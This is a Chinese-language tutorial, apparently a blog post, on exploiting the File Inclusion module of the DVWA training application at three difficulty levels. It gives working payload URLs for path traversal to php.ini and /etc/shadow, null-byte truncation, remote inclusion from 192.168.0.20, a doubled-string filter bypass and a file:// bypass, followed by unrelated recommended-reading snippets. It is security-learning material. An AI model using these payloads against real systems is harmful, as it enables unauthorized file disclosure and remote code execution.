DVWA-File Inclusion(文件包含)

本系列文集:DVWA学习笔记

文件包含漏洞,是指当服务器开启allow_url_include选项时,就可以通过php的某些特性include(),require(),include_once(),require_once()利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项(选项开启之后,服务器允许包含一个远程的文件)。

文件包含分类:
LFI:本地文件包含(Local File Inclusion) 
RFI:远程文件包含(Remote File Inclusion)
与文件包含有关的函数:
 include():只有代码执行到该函数时才会包含文件进来,发生错误时只给出一个警告并继续向下执行。
 include_once():和 include()功能相同,区别在于当重复调用同一文件时,程序只调用一次。
 require():只要程序执行就包含文件进来,发生错误时会输出错误结果并终止运行。
 require_once():和 require()功能相同,区别在于当重复调用同一文件时,程序只调用一次。
相关的 php.ini 配置参数:
allow_url_fopen = on (默认开启) 
allow_url_include = on (默认关闭)

远程文件包含是因为开启了 php 配置中的 allow_url_fopen 选项(选项开启之后,服务器允许包含一个远程的文件)。

Low:

clipboard.png

分析:
服务器端对page参数没有做任何的过滤跟检查。
服务器期望用户的操作是点击下面的三个链接,服务器会包含相应的文件,并将结果返回。

clipboard (1).png

tips:服务器包含文件时,不管文件后缀是否是php,都会尝试当做php文件执行,如果文件内容确为php,则会正常执行并返回结果,如果不是,则会原封不动地打印文件内容,所以文件包含漏洞常常会导致任意文件读取与任意命令执行。现实中,恶意的攻击者是不会乖乖点击这些链接的,因此page参数是不可控的。

点击file1.php,观察到url为:
http://127.0.0.1/DVWA-1.9/vulnerabilities/fi/?page=file1.php

Exploit
1.本地文件包含

构造url:
http://127.0.0.1/DVWA-1.9/vulnerabilities/fi/?page=/etc/shadow

clipboard (2).png

现报错信息,显示没有这个文件,说明不是服务器系统不是Linux,但同时暴露了服务器文件的绝对路径D:\phpStudy\PHPTutorial\WWW\DVWA-1.9\

构造url(绝对路径):
http://127.0.0.1/DVWA-1.9/vulnerabilities/fi/?page=D:/phpStudy/PHPTutorial/WWW/DVWA-1.9/php.ini

成功读取了服务器的php.ini文件。

clipboard (3).png

构造url(相对路径):
http://127.0.0.1/DVWA-1.9/vulnerabilities/fi/?page=../../../DVWA-1.9/php.ini

加这么多..\是为了保证到达服务器的D盘根目录,可以看到读取是成功的。

clipboard (4).png

读取phpstudy探针文件进行信息搜集
http://127.0.0.1/DVWA-1.9/vulnerabilities/fi/?page=../../../../WWW/l.php

clipboard (5).png

同时在读取上面的php.ini文件时,我们看到,配置文件中的magic_quote_gpc选项为off。

在php版本小于5.3.4的服务器中,当magic_quote_gpc选项为off时,我们可以在文件名中使用%00进行截断,也就是说文件名中%00后的内容不会被识别,即下面两个url是完全等效的。

http://127.0.0.1/DVWA-1.9/vulnerabilities/fi/?page=../../../dvwa/php.ini 
http://127.0.0.1/DVWA-1.9/vulnerabilities/fi/?page=../../../dvwa/php.ini%002
clipboard (6).png

2.远程文件包含

当服务器的php配置中,选项allow_url_fopen与allow_url_include为开启状态时,服务器会允许包含远程服务器上的文件。如果对文件来源没有检查的话,就容易导致任意远程代码执行。

在远程服务器192.168.0.20上传一个phpinfo.txt文件,内容如下:
<?php phpinfo();?>

构造以下url,成功在服务器上执行了phpinfo()函数。
127.0.0.1/DVWA-1.9/vulnerabilities/fi/?page=http://192.168.0.20/phpinfo.txt

Medium :

clipboard (7).png

str_replace(find,replace,string,count)
图片.png
eg:
把字符串 "Hello world!" 中的字符 "world" 替换为 "Shanghai":
<?php
echo str_replace("world","Shanghai","Hello world!");
?>

分析:
增加了str_replace函数,将以下字符串替换为空。

【http://】,【https://】 ,【../】 , 【..\】

Exploit
使用str_replace函数是极不安全的,可以使用双写绕过替换规则。
例如page=htthttp://p://192.168.0.20/phpinfo.txt时,str_replace函数会将http://删除,于是page=http://192.168.0.20/phpinfo.txt,成功执行远程命令。
同时,因为替换的只是../、..\,所以对采用绝对路径的方式包含文件是不会受到任何限制的。

1.本地文件包含

绝对路径不受任何影响,读取配置文件成功。
http://127.0.0.1/DVWA-1.9/vulnerabilities/fi/?page=D:/phpStudy/PHPTutorial/WWW/DVWA-1.9/php.ini

相对路径的利用以下payload,读取配置文件成功。
http://127.0.0.1/DVWA-1.9/vulnerabilities/fi/?page=..././..././..././DVWA-1.9/php.ini

2.远程文件包含

构造以下payload,远程执行命令成功。
http://127.0.0.1/DVWA-1.9/vulnerabilities/fi/?page=htthttp://p://192.168.0.20/phpinfo.txt

High:

clipboard (8).png

分析:
High 的代码使用了fnmatch()函数检查page参数,要求page参数的开头必须是file,服务器才会去包含相应的文件。

Exploit
High 的代码规定只能包含file开头的文件,看似安全,不幸的是我们依然可以利用file协议绕过防护策略。
Tips:因为 fnmatch 函数适用于 PHP >= 4.3.0,因此 php 版本高于这个才能利用,否则会出现打不开 high 等级页面。

构造如下url,成功读取了服务器的配置文件。
http://127.0.0.1/DVWA-1.9/vulnerabilities/fi/?page=file://D:/phpStudy/PHPTutorial/WWW/DVWA-1.9/php.ini

clipboard (9).png

至于执行任意命令,需要配合文件上传漏洞利用。首先需要上传一个内容为php的文件,然后再利用file协议去包含上传文件(需要知道上传文件的绝对路径),从而实现任意命令执行。

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 214,837评论 6 496
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 91,551评论 3 389
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 160,417评论 0 350
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 57,448评论 1 288
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 66,524评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,554评论 1 293
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,569评论 3 414
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,316评论 0 270
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,766评论 1 307
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,077评论 2 330
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,240评论 1 343
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,912评论 5 338
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,560评论 3 322
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,176评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,425评论 1 268
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,114评论 2 366
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,114评论 2 352

推荐阅读更多精彩内容

  • 文档:http://www.freebuf.com/articles/web/119150.html File I...
    BerL1n阅读 2,874评论 0 2
  • DVWA-1.9系列一共分为10个功能模块: Brute Force(暴力破解) Command Injectio...
    网络安全自修室阅读 1,348评论 0 0
  • 文件包含 程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,而无需再次编写,这中...
    二潘阅读 8,237评论 2 4
  • DVWA实践 Web漏洞原理 1. DVWA环境搭建 Warmpserver+DVWA 2. Brute Forc...
    JasonChiu17阅读 3,749评论 0 19
  • 庹亚军 公司:宁波贞观电器有限公司 组别:第235期 利他一组 【日精进打卡第99天】 【知~学习】 【行~实践】...
    tyj小电工阅读 98评论 0 0